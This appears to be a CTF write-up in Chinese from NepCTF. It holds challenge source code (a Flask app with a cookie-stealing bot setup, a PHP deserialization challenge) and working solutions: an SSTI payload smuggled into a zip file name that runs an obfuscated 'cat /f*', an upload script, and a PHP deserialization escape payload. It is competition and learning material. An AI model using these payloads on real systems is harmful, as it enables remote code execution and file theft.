NepDouble
app.py
from flask import Flask, render_template, make_response,request
from bot import *
from urllib.parse import urlparse
app = Flask(__name__, static_folder='static')
@app.after_request
def add_security_headers(resp):
resp.headers['Content-Security-Policy'] = "script-src 'self'; style-src 'self' https://fonts.googleapis.com https://unpkg.com 'unsafe-inline'; font-src https://fonts.gstatic.com;"
return resp
@app.route('/')
def index():
return render_template('index.html')
@app.route("/report", methods=["POST"])
def report():
bot = Bot()
url = request.form.get('url')
if url:
try:
parsed_url = urlparse(url)
except Exception:
return {"error": "Invalid URL."}, 400
if parsed_url.scheme not in ["http", "https"]:
return {"error": "Invalid scheme."}, 400
if parsed_url.hostname not in ["127.0.0.1", "localhost"]:
return {"error": "Invalid host."}, 401
bot.visit(url)
bot.close()
return {"visited":url}, 200
else:
return {"error":"URL parameter is missing!"}, 400
@app.errorhandler(404)
def page_not_found(error):
path = request.path
return f"{path} not found"
if __name__ == '__main__':
app.run(debug=True)
bot.py
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import time
class Bot:
def __init__(self):
chrome_options = Options()
chrome_options.add_argument("--headless")
chrome_options.add_argument("--disable-gpu")
chrome_options.add_argument("--no-sandbox")
chrome_options.add_argument("--disable-dev-shm-usage")
chrome_options.add_argument("--disable-extensions")
chrome_options.add_argument("--window-size=1920x1080")
self.driver = webdriver.Chrome(options=chrome_options)
def visit(self, url):
self.driver.get("http://127.0.0.1:5000/")
self.driver.add_cookie({
"name": "flag",
"value": "SEKAI{dummy}",
"httponly": False
})
self.driver.get(url)
time.sleep(1)
self.driver.refresh()
print(f"Visited {url}")
def close(self):
self.driver.quit()
考点:SSTI
在文件名处SSTI
这题在进行生成文件名并进行压缩文件包操作的时候必须使用linux的vim和zip命令,我也不知道为什么,反正win是不可以的……
先写一个将字符转义的脚本
def escape_string(s):
# 定义要转义的字符
replacements = {
'{': r'\{',
'}': r'\}',
'[': r'\[',
']': r'\]',
'(': r'\(',
')': r'\)',
"'": r"\'",
'"': r'\"',
}
# 替换字符串中的特殊字符
for char, replacement in replacements.items():
s = s.replace(char, replacement)
return s
# 原始字符串
original_string = """{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('\\\\143'+'\\\\141'+'\\\\164'+'\\\\40'+'\\\\57'+'\\\\146'+'\\\\52').read()")}}"""
# 转义字符串
escaped_string = escape_string(original_string)
print(escaped_string)
生成拥有恶意文件名的文件
vim \{\{x.__init__.__globals__\[\'__builtins__\'\]\[\'eval\'\]\(\"__import__\(\'os\'\).popen\(\'\\143\'+\'\\141\'+\'\\164\'+\'\\40\'+\'\\57\'+\'\\146\'+\'\\52\'\).read\(\)\"\)\}\}
具体操作:
这是vim编辑器进行保存的操作,这样才可以成功生成文件,我之前不知道 太弱智了
压缩成ZIP
zip 1.zip \{\{x.__init__.__globals__\[\'__builtins__\'\]\[\'eval\'\]\(\"__import__\(\'os\'\).popen\(\'\\143\'+\'\\141\'+\'\\164\'+\'\\40\'+\'\\57\'+\'\\146\'+\'\\52\'\).read\(\)\"\)\}\}
然后再写个upload脚本即可
import requests
# 定义服务器的URL
url = "https://neptune-46465.nepctf.lemonprefect.cn/" # 替换为你的 Flask 服务器地址
# 定义要上传的文件路径
file_path = "1.zip" # 替换为你要上传的 ZIP 文件路径
# 打开文件,以便于上传
with open(file_path, 'rb') as file:
# 构建请求的文件部分
files = {'tp_file': file}
# 发送 POST 请求,上传文件
response = requests.post(url, files=files)
# 输出服务器响应
print("Status Code:", response.status_code)
print("Response Text:", response.text)
上传带有恶意命令的文件就可以成功读取flag
PHP_MASTER!!
//题目源码
<?php
highlight_file( __FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
class A{
public $key;
public function readflag(){
if($this->key=== "\0key\0"){
$a = $_POST[1];
$contents = file_get_contents($a);
file_put_contents($a, $contents);
}
}
}
class B
{
public $b;
public function __tostring()
{
if(preg_match("/\[|\]/i", $_GET['nep'])){
die("NONONO!!!");
}
$str = substrstr($_GET['nep1']."[welcome to". $_GET['nep']."CTF]");
echo $str;
if ($str==='NepCTF]'){
return ($this->b) ();
}
}
}
class C
{
public $s;
public $str;
public function __construct($s)
{
$this->s = $s;
}
public function __destruct()
{
echo $this ->str;
}
}
$ser = serialize(new C($_GET['c']));
$data = str_ireplace("\0","00",$ser);
unserialize($data);
PHP
反序列化键值逃逸+mb_strpos
与mb_substr
连用导致的字符注入,真不懂,我只是个复现的(bushi,得好好补补反序列化了,真的硬伤。
payload:
c=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}}&nep1=%f0123%f0123%f0123%9f%9f%f0123&nep=Nep